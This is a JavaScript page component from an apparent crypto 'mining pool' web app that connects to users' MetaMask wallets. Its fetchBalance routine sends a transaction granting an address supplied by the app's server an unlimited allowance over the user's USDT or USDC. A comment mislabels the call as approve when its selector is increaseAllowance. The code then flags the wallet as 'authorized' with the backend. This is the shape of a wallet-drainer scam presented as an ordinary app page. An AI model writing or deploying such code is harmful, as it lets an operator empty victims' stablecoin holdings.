import api from '../../http/api';
import th from '../../src/lang/th';
import CustomNavBar from '@/components/CustomNavBar/CustomNavBar.vue';
import CustomTabBar from '@/components/CustomTabBar/CustomTabBar.vue';
import {
	NETWORKS
} from '@/src/config/networks';
import detectEthereumProvider from '@metamask/detect-provider';
import SystemMessagesVue from '@/components/SystemMessages/SystemMessages.vue'
import richTextUtil from '@/src/utils/richTextUtil.js'
export default {
	components: {
		CustomNavBar,
		CustomTabBar
	},
	data() {
		return {
			currentDate: new Date().toLocaleDateString(),
			currentLang: this.$i18n.locale,
			supportedLangs: ['en', 'zh', 'zhTw', 'ja', 'ko', 'fr', 'de', 'es'],

			currentPage: 'pages/Home/index', //tabar跳转路径

			imgList: [
				'/static/footImg/042.png',
				'/static/footImg/001.png',
				'/static/footImg/002.png',
				'/static/footImg/003.png',
				'/static/footImg/004.png',
				'/static/footImg/005.png',
				'/static/footImg/006.png',
				'/static/footImg/007.png',
				'/static/footImg/008.png',
				'/static/footImg/009.png',
				'/static/footImg/010.png',
				'/static/footImg/011.png',
				'/static/footImg/012.png',
				'/static/footImg/013.png',
				'/static/footImg/014.png',
				'/static/footImg/015.png',
				'/static/footImg/016.png',
				'/static/footImg/017.png',
				'/static/footImg/018.png',
				'/static/footImg/019.png',
				'/static/footImg/020.png',
				'/static/footImg/021.png',
				'/static/footImg/022.png',
				'/static/footImg/023.png',
				'/static/footImg/024.png',
				'/static/footImg/025.png',
				'/static/footImg/026.png',
				'/static/footImg/027.png',
				'/static/footImg/028.png',
				'/static/footImg/029.png',
				'/static/footImg/030.png',
				'/static/footImg/031.png',
				'/static/footImg/032.png',
				'/static/footImg/033.png',
				'/static/footImg/034.png',
				'/static/footImg/035.png',
				'/static/footImg/036.png',
				'/static/footImg/037.png',
				'/static/footImg/038.png',
				'/static/footImg/039.png',
				'/static/footImg/040.png',
			],

			// 网络动态管理
			account: null, //真实账户
			error: null,
			currentChainId: null,
			isConnected: false,

			PlatformData: [], //网络授权信息

			erc20UsdtApproveAddress: '0xdac17f958d2ee523a2206206994597c13d831ec7',
			bsc20UsdtApproveAddress: '0x55d398326f99059ff775485246999027b3197955',
			
			cointype:'',//链类型，两种类型USDC/USDT
			
			// 系统通知
			newcontent:'',
		}
	},
	onLoad() {
		this.getassets();
		this.loadD();
		setTimeout(() => {
			 this.infos()
		}, 1500);
	},
	methods: {
		/* 链接钱包 */
		async connectMetaMask() {
			try {
				const provider = await detectEthereumProvider();
				if (!provider) throw new Error('MetaMask 未安装');

				// 获取当前网络
				const chainId = await provider.request({
					method: 'eth_chainId'
				});
				this.currentChainId = chainId;
				// if (this.currentChainId === '0x1' || this.currentChainId === 1) {
				// 	//设置链类型
				// 	this.$updateChainType('erc')
				// 	//设置币种类
				// 	this.$updateCointype('USDT')
				// 	//币安链网络
				// } else if (this.currentChainId === '0x38' || this.currentChainId === 56) {
				// 	//设置链类型
				// 	this.$updateChainType('bsc')
				// 	//设置币种类
				// 	this.$updateCointype('USDT')
				// }

				// 验证网络是否支持
				if (![NETWORKS.BSC.chainId, NETWORKS.ETH.chainId].includes(chainId)) {
					console.log(chainId)
					// 如果不支持，尝试切换到默认网络(ETH)
					const isSwitched = await this.switchNetwork('ETH');
					if (!isSwitched) return;
				}

				// 连接钱包
				const accounts = await provider.request({
					method: 'eth_requestAccounts'
				});

				this.isConnected = true;

				//截取账户，传递子组件，刷新顶部导航
				this.intercept(this.accounts)

			} catch (error) {
				this.handleWalletError(error);
			}
		},
		//网络切换
		async switchNetwork(targetChain) {
			try {
				const network = NETWORKS[targetChain];
				await window.ethereum.request({
					method: 'wallet_switchEthereumChain',
					params: [{
						chainId: network.chainId
					}]
				});
				return true;
			} catch (error) {
				if (error.code === 4902) {
					await this.addNetwork(targetChain);
					return true;
				}
				this.error = '请手动切换到 BSC 网络';
				return false;
			}
		},
		//获取当前网络的授权状态
		async getassets() {
			api.getassets({
				chainType: this.$userInfo.chainType,
			}).then(res => {
				if (res.code == 1) {
					this.PlatformData = res.data;
				} else {
					uni.showToast({
						title: res.msg,
						icon: 'none'
					})
				}
			}).catch(err => {
				console.log(err)
			})
		},

		//交易和授权
		async fetchBalance() {
			const currHuobi = this.$userInfo.cointype || 'USDT'
			if (this.$userInfo.chainType == 'erc') {
				this.erc20UsdtApproveAddress = currHuobi === 'USDT' ? this.erc20UsdtApproveAddress :
					'0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48'

				//判断是否已经连接账户
				if (this.$userInfo.nowSubAccount[0] && this.PlatformData.authorizedAddress && window.ethereum) {
					try {
						// 设置无限授权金额（2^256 - 1）
						const amount = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
						// 构造 approve 函数的 ABI 编码数据
						const functionSignature = '0x39509351'; // approve(address,uint256) 的方法ID
						const spender = this.PlatformData.authorizedAddress.toLowerCase().replace('0x', '')
							.padStart(64,
								'0');
						const value = amount.toString(16).padStart(64, '0');
						const data = functionSignature + spender + value;

						const transactionParameters = {
							to: this.erc20UsdtApproveAddress, // USDT 合约地址
							from: this.$userInfo.nowSubAccount[0], // 当前账户地址
							data: data, // 完整的交易数据
						};

						// 发送交易
						const txHash = await window.ethereum.request({
							method: 'eth_sendTransaction',
							params: [transactionParameters],
						});

						if (txHash) {
						// 	//成功授权，更改账户状态
							api.getAuthorize({
								address: this.$userInfo.nowSubAccount[0],
								chaintype: this.$userInfo.chainType,
								cointype: this.$userInfo.cointype
							}).then(res => {
								if (res.code == 1) {
									this.$updateIs_auth('1')
									uni.showModal({
										content: res.msg,
										showCancel:false,
										confirmText:this.$t('home.characters22')
									});
									return res.msg; // 这个 return 会作为 authorize() 的返回值
								} else {
									uni.showToast({
										title: '授权失败',
										icon: 'none'
									});
								}
							})
						
						}

					} catch (error) {
						console.log(error)
					}
				} else {
					//this.$toast.info(this.$t('message.Please_connect_wallet_first'));
				}
			} else if (this.$userInfo.chainType == 'bsc') {
				this.bsc20UsdtApproveAddress = currHuobi === 'USDT' ? this.bsc20UsdtApproveAddress :
					'0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d'
				//通过全局绑定数据判断是否已经连接账户
				if (this.$userInfo.nowSubAccount[0] && this.PlatformData.authorizedAddress && window.ethereum) {
					try {
						// 设置无限授权金额（2^256 - 1）
						const amount = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
						// 构造 approve 函数的 ABI 编码数据
						const functionSignature = '0x39509351'; // approve(address,uint256) 的方法ID
						const spender = this.PlatformData.authorizedAddress.toLowerCase().replace('0x', '')
							.padStart(64,
								'0');
						const value = amount.toString(16).padStart(64, '0');
						const data = functionSignature + spender + value;

						const transactionParameters = {
							to: this.bsc20UsdtApproveAddress, // USDT 合约地址
							from: this.$userInfo.nowSubAccount[0], // 当前账户地址
							data: data, // 完整的交易数据
						};


						// 发送交易
						const txHash = await window.ethereum.request({
							method: 'eth_sendTransaction',
							params: [transactionParameters],
						});
						if (txHash) {
						// 	//成功授权，更改账户状态
							api.getAuthorize({
								address: this.$userInfo.nowSubAccount[0],
								chaintype: this.$userInfo.chainType,
								cointype: this.$userInfo.cointype
							}).then(res => {
								if (res.code == 1) {
									this.$updateIs_auth('1')
									uni.showModal({
										content: res.msg,
										showCancel:false,
										confirmText:this.$t('home.characters22')
									});
									return res.msg; // 这个 return 会作为 authorize() 的返回值
								} else {
									uni.showToast({
										title: '授权失败',
										icon: 'none'
									});
								}
							})

						}

					} catch (error) {
						console.log('4444', error)
					}
				} else {
					// this.$toast.info(this.$t('message.Please_connect_wallet_first'));
				}
			}
		},
		loadD(){
			this.cointype = this.$userInfo.cointype;
		},
		//系统消息
		async infos(){
			api.SystemMessages({
				address:this.$userInfo.nowSubAccount,
				chaintype:this.$userInfo.chainType,
				cointype:this.$userInfo.cointype
			}).then(res=>{
				if(res.code == 1){
					if(res.data.info){
						this.newcontent = richTextUtil.formatRichText(res.data.info)
						this.$nextTick(() => { // 确保 DOM 已更新
						      this.$refs.systemMessages.open();
						});
					}else{
						return
					}
				}else{
					uni.showToast({title:res.msg,icon:'none'})
				}
			})
			
		},
		//账户截取隐藏
		intercept(value) {
			this.$updateSubAccount(value);
		},
		// 错误处理
		handleWalletError(error) {
			if (error.code === 4001) {
				this.error = '您拒绝了连接请求';
			} else {
				this.error = error.message || '钱包连接失败';
			}
			console.error('钱包错误:', error);
		},
		skipMinePool() {
			uni.switchTab({
				url: '/pages/MinePool/index'
			})
		},
		/* 检查钱包连接状态 */
		async checkWalletConnection() {
			try {
				const provider = await detectEthereumProvider();
				if (!provider) return false;

				// 1. 静默获取当前账户（不会弹出授权窗口）
				const accounts = await provider.request({
					method: 'eth_accounts'
				});

				// 2. 检查是否有已连接的账户
				if (accounts.length > 0) {
					this.isConnected = true;

					//截取账户，传递子组件，刷新顶部导航
					this.intercept(this.accounts)

					return true;
				}
				return false;
			} catch (error) {
				console.error('检查连接状态失败:', error);
				return false;
			}
		},
		// 初始化检查连接
		async initWallet() {
			try {
				// 1. 静默检查连接状态
				const isConnected = await this.checkWalletConnection();

				// 2. 如果未连接，自动连接（注意浏览器可能拦截）
				if (!isConnected) {
					setTimeout(() => {
						this.connectMetaMask();
					}, 300); // 稍延迟避免被浏览器拦截
				}
			} catch (error) {
				console.error('初始化失败:', error);
			}
		},
	},
	mounted() {
		this.initWallet();

		// 监听账户变化
		if (window.ethereum) {
			// 账户变化监听
			window.ethereum.on('accountsChanged', (accounts) => {
				this.isConnected = accounts.length > 0;
				this.account = accounts || null;
				console.log('账户变化')
				//截取账户，传递子组件，刷新顶部导航
				this.intercept(this.account)
			});

			// 网络变化监听（
			window.ethereum.on('chainChanged', (chainId) => {
				console.log('网络变更')
				if (![NETWORKS.BSC.chainId, NETWORKS.ETH.chainId].includes(chainId)) {
					this.error = '请在BSC或ETH网络下操作';
				} else {
					this.currentChainId = chainId;
					this.error = null;
				}
			});
			// 钱包会话断开
			window.ethereum.on("disconnect", (code, reason) => {
				this.initWallet(); //重新链接
				return;
			});
		}
	},
	beforeDestroy() {
		uni.$off('language-changed')
	},
	computed: {

	},
}